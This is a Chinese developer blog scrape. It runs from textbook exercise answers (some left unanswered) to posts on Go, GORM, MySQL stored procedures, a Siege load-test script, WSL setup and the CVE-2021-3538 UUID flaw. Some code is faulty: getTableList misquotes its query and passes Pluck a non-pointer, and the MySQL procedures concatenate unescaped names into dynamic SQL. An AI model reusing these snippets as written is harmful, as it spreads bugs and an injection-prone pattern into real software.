量化过程用一个常量来除位数，然后舍弃小数部分。用于减少需要编码的位数。
每个帧都是一副图像。
空间压缩即使用 JPEG，时间压缩即舍去多余的帧。
I-帧：即内部编码帧，是一个独立帧；P-帧：即预帧，与前面的 I-帧或 P-帧有关联；B-帧：即双向帧，与前面和后面的 I-帧或 P-帧有关系。

练习题：

10010, 00000, 00001, 11000, 01111, 00000。
00000, 00000, 01000, 00001, 01101, 00000。
A：000；B：1000；C：001；D：01；E：11；F：101；G：1001。
A：000；B：001；C：010；D：011；E：1000；F：1001；G：1010；H：1011；I：110；J：111。
是。没有某个编码是另一个编码的前缀。
不是。A 是 C 的前缀。
1000, 1010, 1010, 0011, 00。
ABBAAACCA。
字典：B，A，AB，BB，BA，AC，AA。编码为 1-7，即：B，A，2B，1B，1A，2C，2A。
未理解题意，直接编码。字典：A，AA，AB，B，C，CC，BB。编码为 1-7，即：A，1A，1B，B，C，5C，4B。
23.25；19.8；18.6375；17.475。

第 16 章安全

复习题：

a。
a。
b。
密码术即秘密书写；隐写术即掩饰书写。
是。
是。
是。隐写术。
是。对称密钥。
是。对称密钥。
置换密码即移位密码。替换密码即用一个符号替代另一个符号，移位密码就是符号重新排序。
是。单字母。
单字母。
每个字母 26 次。
26；26；26。
c。
因为需要通过某种方法在随机密钥上达成共识。
性能。
公钥用于加密；私钥用于解密。
e 表示指数，使用 1 就表示没有变化。
MAC 通过散列函数和密钥的组合来保证消息的完整性和消息验证。
消息验证可能不会发生在实时系统中，而实体验证会；消息验证简单地验证一则消息，这个过程需对每则新的消息重复，实体验证可在整个会话期间内验证要求者。
b。
b。
b。

练习题：

a：威胁机密性的攻击；b：威胁完整性的攻击；c：威胁可用性的攻击。
lyyu。
nbcm cm uh yrylwcmy。
zm vcvixrnv。
5533 1531152235443215。
不对，暴力破解的次数没有变少。
没问题。
a. 加密数组中的元素分别为：3, 1, 4, 5, 2；b：解密数组中的元素分别为：2, 5, 1, 3, 4；c：通过索引的对应的值，反向生成即可。
$10 * 12 = 120$，$e * d \bmod 120 = 1，e = 103$。
密文为：10358 6651 1144 5632 1890 1144 等。
MAC 可能会被窃听，所以不能使用私钥。

第 17 章计算理论

复习题：

incr：加 1；decr：减 1；while：循环。
循环一个变量值的次数，然后调用 incr。
图灵机能模拟简单语言中的三个基本语句。
磁带：存储数据；读写头：读写数据；控制器：转换、显示状态。
通过空白字符隔开。
向左或右移动。
状态转移图指导图灵机控制器如何控制状态。
转移表是转移图的另一种表示。有相同信息。
一个分配给任何程序的无符号数称为哥德尔数。反证法。
多项式问题：$O(n^k)$ 范围内；非多项式问题：$O(10^n) 或 O(n!)$。

练习题：

Y := 0
while (X) {
	incr(Y)
}

SaveX := 0
SaveY := Y
while (X) {
	decr(X)
	incr(Y)
	incr(SaveX)
}
X = SaveX

TEMP := Y
Y := 0
SaveX := 0
while (X) {
	decr(X)
	Y := Y + TEMP
	incr(SaveX)
}
X = SaveX

TEMP := Y
Y := 1
SaveX := 0
while (X) {
	decr(X)
	Y := Y * TEMP
	incr(SaveX)
}
X = SaveX

while (X) {
	decr(Y)
}

Y := 1
while (X) {
	decr(X)
	decr(Y)
	A1
}

while (Y) {
	A2
}

最终配置为：b b 1 1 b。
读写头向右移动一位。
读写头向右移动一位。
画图，省略。
未理解题意。
未理解题意。
未理解题意。
画图，省略。
画图，省略。
n + 1。
用 while 循环来模拟。
用 while 循环来模拟。
用 while 循环来模拟。

第 18 章人工智能

复习题：

简单地比较人类的智能行为和计算机的智能行为。不能。
智能体是一个能智能地感知环境、从环境中学习并与环境进行交互的系统。分为软件智能体和物理智能体。
LISP：操纵表的语言；PROLOG：一种能建立事实数据库和规则知识库的编程语言。
如果打算用人工智能体来解决现实世界中的一些问题，那么它必须能表示知识。语义网、框架、谓语逻辑和基于规则的系统。
谓词逻辑使用了命题逻辑。命题逻辑是由对世界进行逻辑推理的一组句子组成的一种语言。
在语义网中，图用来表示知识；在框架中，数据结构用来表示相同的知识。
基于规则的系统使用一组规则来表示知识，这些规则能用来从已知的事实中推导出新的事实。规则表示当指定条件满足时什么为真。
专家系统使用知识表示语言来执行通常需要人类专家才能完成的任务。平凡系统则表示非专家。
边缘探测、分段、查找深度、查找方向、对象识别、应用。
语音识别、语法分析、语义分析和语用分析。
使用神经元网络来模仿人脑的学习过程。
感知器是一个类似于单个生物神经元的人工神经元。

练习题：

画图，省略。
画图，省略。
a. $\neg R$；b. $\neg S$；c. $\neg (R \wedge S)$；d. $R \wedge S$；e. $S \rightarrow \neg R$；f. $R \rightarrow \neg S$；g. $\neg (R \rightarrow S)$；h. $\neg (\neg R \rightarrow S)$；
重复，省略。
重复，省略。
重复，省略。
重复，省略。
重复，省略。
合法。
不合法。
合法。
不合法。
画图，省略。
画图，省略。
画图，省略。
画图，省略。
画图，省略。
画图，省略。
画图，省略。
画图，省略。

WSL 中出现 :Zone.Identifier 文件的原因和解决方法

Fri, 15 Oct 2021 05:55:21 GMT

因为使用 Windows 和 WSL 作为开发环境，经常出现 :Zone.Identifier 文件，所以写了这篇博客来记录其原因和解决方法。

原因

从 Windows 直接下载文件或移动文件到 WSL 目录时，会出现类似 :Zone.Identifier 的文件。

其中包含了一些跟关联文件有关的元数据。

该文件因为微软的 NTFS 功能而出现，虽然没有实际用途。

但因为文件名包含 : 冒号，所以可能会破坏某些 Linux 脚本的运行。

所以需要处理它。

解决方法

通过修改 Windows 组策略禁用附加元数据文件，步骤如下：
1. 打开组策略编辑器：快捷键 Win + R 进入运行，输入 gpedit.msc；
2. 导航：用户配置 -> 管理模板 -> Windows 组件 -> 附件管理器；
3. 设置：双击文件附件中不保留区域信息 ，设置为已启用，并重启系统。
移动文件时，不要通过资源管理器，而是通过 VS Code，这样不会生成该文件。
通过这条命令删除这些文件：find . -name "*:Zone.Identifier" -type f -delete。

参考链接

Zone.Identifier Files when copying from Windows to WSL filestructure #4609

Zone.Identifier Files when downloading from Windows to WSL file structure #7456

WSL2: Find and Delete Zone.Identifier files

Golang 类型断言的分类和例子

Sat, 11 Sep 2021 15:22:11 GMT

因为对表达式断言和赋值断言的理解不够清晰，所以写了这篇博客来加深理解。

为了更好地理解类型断言的例子，后面的内容都遵循以下惯例：

大写 I：表示接口类型；小写 i：表示接口值。
大写 S：表示具体类型；小写 s：表示具体类型值。
大写 T：表示具体类型和接口类型其中一种；小写 t：表示具体类型值和接口值其中一种。

表达式断言

表达式断言的语法为：i.(T)，其中 i 为接口值，T 为具体类型或接口类型。发生错误时，为运行时错误。

当 T 为具体类型时，作用是把接口值转换为具体类型值

当 i 的具体类型是 T 时，断言成功：

type I interface{}
type S struct{}
var i I = S{}
_ = i.(S)
// i 的具体类型是 S，所以断言成功。

表达式返回一个新值，该值为具体类型值，类型为 T。

当 i 的具体类型不是 T 时，断言失败：

type I interface{}
type S struct{}
var i I
_ = i.(S)
// i 的具体类型未声明，不是 S，所以断言失败。

当 T 为接口类型时，作用是转换接口类型

当 i 的具体类型实现了 T 接口时，断言成功：

type I1 interface{}
type I2 interface{}
type S struct{}
var i I1 = S{}
_ = i.(I2)
// i 的具体类型 S 实现了 I2 接口，所以断言成功。i 的接口类型从 I1 变为 I2。

表达式返回一个新值，该值为接口值，类型为 T。接口值里面的具体类型和具体值不变。

当 i 的具体类型未实现 T 接口时，断言失败：

type I1 interface{}
type I2 interface{ M() }
type S struct{}
var i I1 = S{}
_ = i.(I2)
// i 的具体类型 S 没有实现 M() 方法，即没实现 I2 接口，所以断言失败。

赋值断言

赋值断言的语法为：i = t，其中 i 为接口值，t 为具体类型值或接口值。发生错误时，为编译时错误。

当 t 为具体类型值时，作用是转换具体类型

当 t 的具体类型实现了 i 的接口时，断言成功：

type I interface{}
type S1 struct{}
type S2 struct{}
t := S1{}
var i I = S2{}
i = t
// t 的具体类型 S1 实现了 I 接口，所以断言成功。i 的具体类型从 S2 变为 S1。

i 的具体类型变为 t 的具体类型，接口类型保持不变。

当 t 的具体类型未实现 i 的接口时，断言失败：

type I interface{ M() }
type S1 struct{}
type S2 struct{}
func (S2) M() {}

t := S1{}
var i I = S2{}
i = t
// t 的具体类型 S1 没有实现 M() 方法，即没实现 I 接口，所以断言失败。

当 t 为接口值时，作用是转换接口类型

当 t 的具体类型实现了 i 的接口时，断言成功：

type I1 interface{}
type I2 interface{}
type S1 struct{}
type S2 struct{}
var t I1 = S1{}
var i I2 = S2{}
i = t
// t 的具体类型 S1 实现了 i 的接口 I2，i 的接口类型从 I2 变为 I1。

i 的接口类型变为 t 的接口类型，具体类型保持不变。显示转换也可以达到同样的作用，如：i = io.Writer(t)。

当 t 的具体类型未实现 i 的接口时，断言失败：

type I1 interface{}
type I2 interface{ M() }
type S1 struct{}
type S2 struct{}
func (S2) M() {}

var t I1 = S1{}
var i I2 = S2{}
i = t
// t 的具体类型 S1 未实现 i 的接口 I2，所以断言失败。

Golang 1.10 到 1.17 期间发生的语言规范改动

Sun, 22 Aug 2021 15:22:11 GMT

因为 Golang 1.10 到 1.17 期间发生了相当多的语言规范改动，所以写了这篇博客来记录它。

Golang 1.10

无类型常量移位

确定了无类型常量移位这种极端场景的处理方法。

允许这样的索引表达式：x[1.0 << s]，其中 s 是无符号整数。

方法表达式

放宽了方法表达式的语法。允许任何类型的表达式作为接收器。如：struct{io.Reader}.Read。

Golang 1.11

语言规范没有改动。

Golang 1.12

语言规范没有改动。

Golang 1.13

现代化的数字字面量前缀

二进制整数：使用前缀 0b 或 0B。如：0b1011；
八进制整数：使用前缀 0o 或 0O。如：0o660.0。原来以 0 为前缀的八进制表示法仍然有效，如0666；
十六进制浮点数：使用前缀 0x 或 0X。如：0x1.0p-1021。其中必须有一个指数，表示为 p 或 P后跟一个十进制数。指数使用 2 为底数，而不是 16。

虚数字面量

虚数后缀 i 原来只能跟十进制整数和浮点数字面量一起使用。

现在新增了对二进制和十六进制整数的支持。如：0b1011i。

数字分隔符

可以使用下划线分隔任何数字字面量。

下划线可以出现在任何两个数字之间或前缀和第一个数字之间。如：1_000_000、0b_1010_0110 和 3.1415_9265。

移位操作

移位操作去除了位移量必须是无符号数的限制。如：x << y，其中 y 可以是有符号数。

Golang 1.14

嵌入非空同名方法

允许嵌入具有重叠方法集的接口：来自嵌入式接口的方法可能与（嵌入）接口中已经存在的方法具有相同的名称和相同的签名。

Golang 1.14 之前，允许内嵌多个空接口：

type Man interface {
}

type Women interface {
}

type Human interface {
	Man
	Women
}

而不允许内嵌多个非空接口：

type Man interface {
	Walk()
}

type Women interface {
	Walk()
}

type Human interface {
	Man
	Women
}

Golang 1.14 之后，允许内嵌多个非空接口。这些接口的方法可以同名或不同名，如果同名的话，就需要这些方法具有相同的签名，否则就是错误的：

type Man interface {
	Walk(int) int
}

type Women interface {
	Walk(string) string
}

type Human interface {
	Man
	Women
}

Golang 1.15

语言规范没有改动。

Golang 1.16

语言规范没有改动。

Golang 1.17

切片转换为数组指针

将切片转换为数组指针时，会返回一个指向切片底层数组的指针。如：

a := []int{1, 2, 3}
b := (*[3]int)(a)

如果目标数组的长度，大于原切片的长度，则会发生运行时恐慌。

新增 unsafe.Add 函数

unsafe.Add(ptr, len) 将 len 添加到 ptr，然后返回一个指针。

新增 unsafe.Slice 函数

unsafe.Slice(ptr *ArbitraryType, len IntegerType) []ArbitraryType 通过 ptr 和 len 构造一个切片。相当于：(*[len]ArbitraryType)(unsafe.Pointer(ptr))[:]。

参考链接

Go 1.10 Release Notes

Go 1.13 Release Notes

Go 1.14 Release Notes

Go 1.17 Release Notes

使用 Siege 和 Shell 脚本进行 HTTP 接口性能测试

Fri, 16 Jul 2021 15:52:45 GMT

因为公司业务对性能的需求，所以需要对某些接口进行性能测试，来决定是否需要增加机器配置或重构。

因为运维人员担心安全方面的影响，所以不能直接运行可执行文件，只能使用以前的 Siege 和 Shell 脚本。

安装 Siege

wget http://download.joedog.org/siege/siege-4.0.4.tar.gz \
&& tar zxvf siege-4.0.4.tar.gz \
&& cd siege-4.0.4 \
&& ./configure \
&& make  \
&& make install \
&& siege -h

设定指标

并发量：系统同时处理的请求数量；
总访问次数：并发量*重复次数；
响应时间区间：0 ~ 1.0、1.0 ~ 1.5、1.5 ~ 2.0、2.0 ~ 3.0、3.0 ~ 以上；
响应码：20X、30X、40X、50X。

以上是脚本中需要的基本指标，其它的可以通过日志来计算。

或者用 Siege 的 -f 参数来导出测试报告。

修改 Siege 配置

查看配置文件地址：siege -C | grep resource。

Siege 4.0.4 的配置文件在 ~/.siege/siege.conf。

但是 limit 默认是 255，不符合需求，需要手动改到 1000。通过 siege -C | grep "thread limit" 查看是否修改成功。

修改 Nginx 配置

Nginx 机器出现错误：nginx:accept() failed (24: Too many open files)。

文件描述符不够，需要修改 /usr/local/nginx/conf/nginx.conf 中的 worker_rlimit_nofile 为 65535。

具体的 Shell 脚本

#!/bin/bash

# 帮助函数
help() {
	echo "Usage: $0 -c num -r num URL "
	echo "       $0 -c 300 -r 3 \"http://www.baidu.com\""
	echo "Options:"
	echo '  -c      数量'
	echo '  -r      重复次数'
	exit 0
}

# 构造命令行
execute() {
	$cmd -b -c $cur -r $rep $url 1>$output
}

# 计算结果
do_result() {
	total=$(($cur * $rep))

	sum=$(cat $output | grep HTTP | awk '
        ($3>0 && $3<=1) {s[1]++};
        ($3>1 && $3<=1.5) {s[2]++};
        ($3>1.5 && $3<=2) {s[3]++};
        ($3>2 && $3<=3) {s[4]++};
        ($3>3) {s[9]++};
        ($2 ~ /^20./) {s[5]++};
        ($2 ~ /^30./) {s[6]++};
        ($2 ~ /^40./) {s[7]++};
        ($2 ~ /^50./) {s[8]++};
        END {printf "%d,%d,%d,%d,%d,%d,%d,%d,%d",s[1],s[2],s[3],s[4],s[5],s[6],s[7],s[8],s[9]}
        ')

	sum1=$(echo $sum | awk -F',' '{print $1}')
	sum2=$(echo $sum | awk -F',' '{print $2}')
	sum3=$(echo $sum | awk -F',' '{print $3}')
	sum4=$(echo $sum | awk -F',' '{print $4}')
	sum5=$(echo $sum | awk -F',' '{print $5}')
	sum6=$(echo $sum | awk -F',' '{print $6}')
	sum7=$(echo $sum | awk -F',' '{print $7}')
	sum8=$(echo $sum | awk -F',' '{print $8}')
	sum9=$(echo $sum | awk -F',' '{print $9}')

	rto1=$(awk 'BEGIN {printf "%2.2f%%","'$sum1'"/"'$total'"*100}')
	rto2=$(awk 'BEGIN {printf "%2.2f%%","'$sum2'"/"'$total'"*100}')
	rto3=$(awk 'BEGIN {printf "%2.2f%%","'$sum3'"/"'$total'"*100}')
	rto4=$(awk 'BEGIN {printf "%2.2f%%","'$sum4'"/"'$total'"*100}')
	rto9=$(awk 'BEGIN {printf "%2.2f%%","'$sum9'"/"'$total'"*100}')
	rto5=$(awk 'BEGIN {printf "%2.2f%%","'$sum5'"/"'$total'"*100}')
	rto6=$(awk 'BEGIN {printf "%2.2f%%","'$sum6'"/"'$total'"*100}')
	rto7=$(awk 'BEGIN {printf "%2.2f%%","'$sum7'"/"'$total'"*100}')
	rto8=$(awk 'BEGIN {printf "%2.2f%%","'$sum8'"/"'$total'"*100}')
}

# 打印结果
main() {
	printf "\n"
	printf "%-30s%-100s\n" "URL:" $url
	printf "%-33s%-20s\n" "并发量:" $cur
	printf "%-34s%-20s\n" "总访问次数:" $(($cur * $rep))

	printf "\n"
	printf "%-30s\n" "Response Time(s):"
	printf "%-30s%-20s\n" "0 ~ 1.0:" $rto1
	printf "%-30s%-20s\n" "1.0 ~ 1.5:" $rto2
	printf "%-30s%-20s\n" "1.5 ~ 2.0:" $rto3
	printf "%-30s%-20s\n" "2.0 ~ 3.0:" $rto4
	printf "%-32s%-20s\n" "3.0 ~ 以上:" $rto9

	printf "\n"
	printf "Response Code:\n" "Response Code"
	printf "%-30s%-20s\n" "20X" $rto5
	printf "%-30s%-20s\n" "30X" $rto6
	printf "%-30s%-20s\n" "40X" $rto7
	printf "%-30s%-20s\n" "50X" $rto8
}

# $# 表示传入的参数个数
args=$#
if [ $args -lt 5 ]; then
	help
else
	url=${!args}
fi

# 解析 -c 和 -r 参数
while getopts "c:r:" opt; do
	case $opt in
	c)
		cur=$OPTARG;;
	r)
		rep=$OPTARG;;
	esac
done

output="/tmp/bench.tmp"

# 寻找 Siege 安装地址，没找到就安装
cmd=$(which siege)
if [ $? -ne 0 ]; then
	echo ' Not found 'siege' command,it will be installed.'
	echo ' Waiting...'

	yum -y install siege >/dev/null 2>&1
	echo 'Running...'
else
	echo 'Running...'
fi

# 主流程
if execute; then
	do_result && echo 'Completed!'
	main
else
	echo 'Siege run-time error.'
fi

exit 0

使用方法和说明请看注释。

Golang 查找整个数据库中存在的数据类型

Tue, 15 Jun 2021 15:52:45 GMT

因为公司架构的变更，需要根据业务来迁移数据库中的数据，而迁移接口需要根据数据库用到的数据类型来读取和写入，所以需要用 Golang 查找整个数据库中存在的数据类型。

整体流程为：

根据数据库名获取其所有表；
取出每个表中每个列的数据类型；
将所有表的数据类型汇总起来；
去除重复的数据类型。

具体代码如下：

// GetColumnType 查找整个数据库中存在的数据类型
func GetColumnType(db *gorm.DB, schema string) []string {
	tableList := getTableList(db, schema)
	// 对每个需要处理的表
	var allColumnType []string
	for _, table := range tableList {
		// 处理表
		columnType, err := getColumnTypeByTable(db, table)
		if err != nil {
			log.Fatal(err)
		}
		allColumnType = append(allColumnType, columnType...)
	}
	return deduplication(allColumnType)
}

// getTableList 根据数据库名获取其所有表
func getTableList(db *gorm.DB, schema string) []string {
	var tableList []string
	db.Table("information_schema.TABLES").Where("table_schema = `%s`", schema).Pluck("table_name", tableList)
	return tableList
}

// getColumnTypeByTable 获取表中每列的数据类型
func getColumnTypeByTable(db *gorm.DB, table string) ([]string, error) {
	// 生成单个表读取数据的 sql
	readSQL := fmt.Sprintf("SELECT * FROM `%s`", table)
	// 读取数据
	// 不用考虑 ErrRecordNotFound 错误，因为不用结构去查询不会报这个错误
	rows, err := db.Raw(readSQL).Rows()
	if err != nil {
		return nil, err
	}
	defer rows.Close()
	// 返回列名
	cols, err := rows.Columns()
	if err != nil {
		return nil, err
	}
	// 返回列的类型
	colTypes, err := rows.ColumnTypes()
	if err != nil {
		return nil, err
	}
	// 创建列数量的切片
	var items = make([]interface{}, len(cols))
	// 设置切片中每个元素为空接口指针
	for k := range items {
		var p interface{}
		items[k] = &p
	}
	var columnType []string
	for rows.Next() {
		// 对每一行扫描进 items
		err := rows.Scan(items...)
		if err != nil {
			return nil, err
		}
		// 对每一行中的每一列
		for i := range items {
			columnType = append(columnType, colTypes[i].DatabaseTypeName())
		}
	}
	return columnType, err
}

// deduplication 去除重复的类型
func deduplication(allTypes []string) []string {
	m := make(map[string]struct{}, 0)
	for _, v := range allTypes {
		m[v] = struct{}{}
	}
	var typeList []string
	for k := range m {
		typeList = append(typeList, k)
	}
	return typeList
}

查询 MySQL 所有数据库中的表名和字段名

Thu, 13 May 2021 08:43:21 GMT

因为需要熟悉公司的新业务，而公司的数据库架构是根据表的字段来区分的多租户架构，会有很多业务库混在一起，导致了需要查某个字段的时候会比较麻烦。

MySQL 的 information_schema 库中有以下字段：

table_schema：数据库名；
table_name：表名；
column_name：字段名；

查询表名

SELECT * FROM information_schema.TABLES WHERE table_name = 'table1';

TABLES 必须是大写，不然会导致冲突。

查询字段名

SELECT * FROM information_schema.columns WHERE table_schema = 'schema1' AND column_name LIKE '%field1%';

也可以加上 table_name 的条件：

SELECT * FROM information_schema.columns WHERE table_schema = 'schema1' AND table_name = 'table1' AND column_name LIKE '%field1%';

可重复执行的 MySQL 常用存储过程

Fri, 16 Apr 2021 08:23:08 GMT

因为公司内部的 SQL 提交系统规定，在一个环境内可能会多次执行同一条 SQL，所以需要保证 SQL 的可重复执行性。

这样就可以把常用的一些 SQL 写成存储过程，并使其可重复执行，会比较方便。

创建列

CREATE PROCEDURE `CreateColumnIfNotExists` (
	tableName VARCHAR(100), 
	columnName VARCHAR(100), 
	dbType VARCHAR(100)
)
BEGIN
	DECLARE _tableCount INT;
	DECLARE _columnCount INT;
	-- 检查该表是否已存在
	SET _tableCount = (
		SELECT COUNT(1)
		FROM INFORMATION_SCHEMA.TABLES
		WHERE TABLE_SCHEMA = (
				SELECT SCHEMA()
			)
			AND TABLE_NAME = tableName
	);
	-- 检查该列是否已存在
	SET _columnCount = (
		SELECT COUNT(1)
		FROM INFORMATION_SCHEMA.COLUMNS
		WHERE TABLE_SCHEMA = (
				SELECT SCHEMA()
			)
			AND TABLE_NAME = tableName
			AND COLUMN_NAME = columnName
	);
	-- 表存在，列不存在的时候才创建新列
	IF _tableCount = 1
	AND _columnCount = 0 THEN
		SET @_sqlText = CONCAT(' ALTER TABLE `', tableName, '` ADD COLUMN `', columnName, '` ', dbType, ' NULL;');
		PREPARE stmt1 FROM @_sqlText;
		EXECUTE stmt1;
		-- 释放资源
		DEALLOCATE PREPARE stmt1;
	END IF;
END

创建索引

CREATE PROCEDURE `CreateIndexIfNotExists` (
	tableName varchar(100), 
	columnName varchar(100)
)
BEGIN
	DECLARE _tableCount INT;
	DECLARE _indexCount INT;
	SET _tableCount = (
		SELECT COUNT(1)
		FROM INFORMATION_SCHEMA.TABLES
		WHERE TABLE_SCHEMA = (
				SELECT schema()
			)
			AND TABLE_NAME = tableName
	);
	SET _indexCount = (
		SELECT COUNT(1)
		FROM information_schema.statistics
		WHERE TABLE_SCHEMA = (
				SELECT schema()
			)
			AND TABLE_NAME = tableName
			AND INDEX_NAME = concat('IX_', columnName)
	);
	IF _tableCount = 1
	AND _indexCount = 0 THEN
		SET @_sqlText = CONCAT(' CREATE INDEX `IX_', columnName, '` ON `', tableName, '`(`', columnName, '` ASC);');
		PREPARE stmt1 FROM @_sqlText;
		EXECUTE stmt1;
		DEALLOCATE PREPARE stmt1;
	END IF;
END

创建 Unique 索引

CREATE PROCEDURE `CreateUniqueIndexIfNotExists` (
	IN tableName VARCHAR(200), 
	IN indexName VARCHAR(200), 
	IN columnName VARCHAR(200)
)
BEGIN
	DECLARE _tableCount INT;
	DECLARE _indexCount INT;
	SET _tableCount = (
		SELECT COUNT(1)
		FROM INFORMATION_SCHEMA.TABLES
		WHERE TABLE_SCHEMA = (
				SELECT SCHEMA()
			)
			AND TABLE_NAME = tableName
	);
	SET _indexCount = (
		SELECT COUNT(1)
		FROM information_schema.statistics
		WHERE TABLE_SCHEMA = (
				SELECT SCHEMA()
			)
			AND TABLE_NAME = tableName
			AND INDEX_NAME = CONCAT('IX_', indexName)
	);
	IF _tableCount = 1
	AND _indexCount = 0 THEN
		SET @_sqlText = CONCAT(' CREATE UNIQUE INDEX `IX_', indexName, '` ON `', tableName, '`(', columnName, ');');
		PREPARE stmt1 FROM @_sqlText;
		EXECUTE stmt1;
		DEALLOCATE PREPARE stmt1;
	END IF;
END

删除列

CREATE PROCEDURE `DropColumnIfExists` (
	tableName varchar(100), 
	columnName varchar(100)
)
BEGIN
	DECLARE _count INT;
	SET _count = (
		SELECT COUNT(1)
		FROM INFORMATION_SCHEMA.COLUMNS
		WHERE TABLE_SCHEMA = (
				SELECT schema()
			)
			AND TABLE_NAME = tableName
			AND COLUMN_NAME = columnName
	);
	IF _count = 1 THEN
		SET @_sqlText = CONCAT(' ALTER TABLE ', tableName, ' DROP COLUMN ', columnName, ' ;');
		PREPARE stmt1 FROM @_sqlText;
		EXECUTE stmt1;
		DEALLOCATE PREPARE stmt1;
	END IF;
END

删除索引

CREATE PROCEDURE `DropIndexIfExists` (
	tableName varchar(100), 
	columnName varchar(100)
)
BEGIN
	DECLARE _count INT;
	SET _count = (
		SELECT COUNT(1)
		FROM information_schema.statistics
		WHERE TABLE_SCHEMA = (
				SELECT schema()
			)
			AND TABLE_NAME = tableName
			AND INDEX_NAME = concat('IX_', columnName)
	);
	IF _count = 1 THEN
		SET @_sqlText = CONCAT(' DROP INDEX `IX_', columnName, '` ON `', tableName, '`; ');
		PREPARE stmt1 FROM @_sqlText;
		EXECUTE stmt1;
		DEALLOCATE PREPARE stmt1;
	END IF;
END

查询和设置 MySQL sql_mode

Mon, 15 Mar 2021 03:32:08 GMT

因为公司规定需要使用新的内部测试系统，而测试系统的 MySQL 运行在 Docker 里面，并且生产环境的 sql_mode 不是默认值，所以写了这篇博客来记录如何查询和设置 sql_mode。

查询 sql_mode

SELECT @@sql_mode;
SHOW VARIABLES LIKE 'sql_mode';

设置 sql_mode

写入 SQL 查询，数据库链接关闭后失效：SET GLOBAL sql_mode='';
写入 MySQL 配置文件，Docker 重启后失效：echo [mysqld] >> /etc/mysql/my.cnf; echo "sql_mode=''" >> /etc/mysql/my.cnf
写入 Docker 配置文件，Docker 重启后还可以生效：echo "sql_mode=''" >> /etc/mysql/conf.d/docker.cnf

参考链接

5.1.10 Server SQL Modes

satori/go.uuid 非随机 UUID 问题（CVE-2021-3538）的原因和修复

Thu, 18 Feb 2021 05:23:08 GMT

因为在公司业务中遇到了这个问题，所以写了这篇博客来记录出现问题的原因和修复方法。

原因

satori/go.uuid 这个包在这个 commit 中改成了标准库比较原生的读取方法 Read()。

// NewV4 returns random generated UUID.
func (g *rfc4122Generator) NewV4() (UUID, error) {
	u := UUID{}
	if _, err := g.rand.Read(u[:]); err != nil {
		return Nil, err
	}
	u.SetVersion(V4)
	u.SetVariant(VariantRFC4122)

	return u, nil
}

而根据标准库文档的说明，Read() 不保证一定会读完，而且没读完也不会返回错误。

这样就导致了 NewV4() 不会返回没读完的错误，而是继续运行下去，使得 UUID 的某些部分是非随机的。如：

02524e6f-65a7-4cf5-8000-0000000000002
6e3ef1c8-0000-4000-8000-0000000000001
fa07f1e9-a8a0-427f-8103-e34e000000000
2cfa392b-71d5-4000-8000-000000000000
5f16db16-56ce-4000-8000-000000000000
bac73b37-aab3-498b-8000-000000000000
da5bd82d-4f98-4b51-8000-000000000000
eb245e52-535f-4274-8350-3a7200000000
f7510000-0000-4000-8000-000000000000
5936f955-286e-47ac-8000-000000000000
0a14da92-0000-4000-8000-000000000000
80730000-0000-4000-8000-000000000000
cd2b88a5-0000-4000-8000-000000000000

修复

升级 satori/go.uuid 的版本：在这个修复 commit 中改为了 io.ReadFull；
切换成其它维护良好的 UUID 包：google/uuid 或 gofrs/uuid。

参考链接

NewV4: non-random uuid

CVE-2021-3538 Detail

GORM First() 和 MySQL 5.6 共同使用造成的慢查询问题

Sun, 17 Jan 2021 01:52:32 GMT

因为在公司业务中遇到了这个问题，所以写了这篇博客来记录出现问题的原因和修复方法。

原因

MySQL 5.6 在使用有 ORDER BY 和 LIMIT 语句的查询时，如果数据不够 LIMIT，就会直接全索引扫描。

而 GORM 的 First() 方法也会嵌入这两种语句，如：SELECT * FROM users ORDER BY id LIMIT 1;。

这样就造成了比较难排查的慢查询问题。

修复

因为问题只出现在 MySQL 5.6，所以可以升级或降级；
对于业务上有用到 ORDER BY 和 LIMIT 语句的逻辑，考虑不用或放到内存中排序；
对于业务上需要任意取一行的逻辑，不要使用 GORM 的 First() 方法，而是手动实现。

参考链接

MySQL Bugs: #78993: Optimizer use index scan instead of range scan by mistake

查询

一个简单的 GORM 通用事务接口

Sat, 12 Dec 2020 04:55:45 GMT

本文介绍了一个简单的 GORM 通用事务接口。

import (
	"database/sql"
	"log"

	"gorm.io/gorm"
)

// Transaction 指定事务必须的三种方法
type Transaction interface {
	Begin(*gorm.DB) (*gorm.DB, error)
	Rollback(*gorm.DB) error
	Commit(*gorm.DB) error
}

type handler func(db *gorm.DB) error

// Do 在事务中执行函数
func Do(db *gorm.DB, transaction Transaction, call handler) error {
	t, err := transaction.Begin(db)
	if err != nil {
		return err
	}
	// panic 时回滚，并打印日志
	defer func() {
		if err := transaction.Rollback(t); err != nil && err != sql.ErrTxDone {
			log.Fatalf("Rollback err: %v", err)
		}
	}()
	if err := call(t); err != nil {
		return err
	}
	// 没有错误才 commit
	if err := transaction.Commit(t); err != nil {
		return err
	}
	return nil
}

详细说明请看代码注释。

一个简单的 Golang 分页查询通用接口

Wed, 18 Nov 2020 15:22:11 GMT

本文介绍了一个简单的 Golang 分页查询通用接口。

// PageIterator 分页查询接口
type PageIterator interface {
	// Has 查询是否还有下一页
	Has() bool
	// Next 获取下一页
	Next() (int, int)
}

// pageIterator 实现 PageIterator 接口
type pageIterator struct {
	total int
	max   int
	cur   int
}

// Has 查询是否还有下一页
func (p *pageIterator) Has() bool {
	return p.cur*p.max < p.total
}

// Next 获取下一页
func (p *pageIterator) Next() (int, int) {
	offset := p.cur * p.max
	limit := min((p.cur+1)*p.max, p.total)
	p.cur++
	return offset, limit
}

func min(x, y int) int {
	if x < y {
		return x
	}
	return y
}

// NewPageIterator 新建分页查询迭代器
func NewPageIterator(total, max int) PageIterator {
	return &pageIterator{total: total, max: max, cur: 0}
}

const pageSize = 500

// Do 将数据分成每份不超过 pageSize，分别进行处理，直到没有数据
func Do(total int, call func(offset, limit int) error) error {
	iterator := NewPageIterator(total, pageSize)
	for iterator.Has() {
		if err := call(iterator.Next()); err != nil {
			return err
		}
	}
	return nil
}

详细说明请看代码注释。

WSL 开发环境代理设置

Tue, 13 Oct 2020 11:25:12 GMT

因为最近把开发环境换成了 Windows 和 WSL 的组合，而 WSL 下面的代理设置太繁琐，所以写了这篇博客来记录。

步骤

在代理软件上开启允许局域网链接；
找到 Windows 主机的 IP；
设置代理为 Windows 主机的 IP。

前两步都是通用的，只有第三步需要根据不同的程序来设置。

命令行程序

命令行程序通常会遵循 Linux 的规范，使用类似于 http_proxy 的环境变量。如：cURL、Wget。所以只需要 export 一些常用的环境变量。

Git

Git 分成 HTTP 和 SSH 的连接方式：

通过 git config 设置 HTTP 代理；
通过修改 ~/.ssh/config 文件来设置 SSH 代理。

专用软件

专用软件一般可以用自身的命令行来设置代理。如：npm、Yarn。

APT

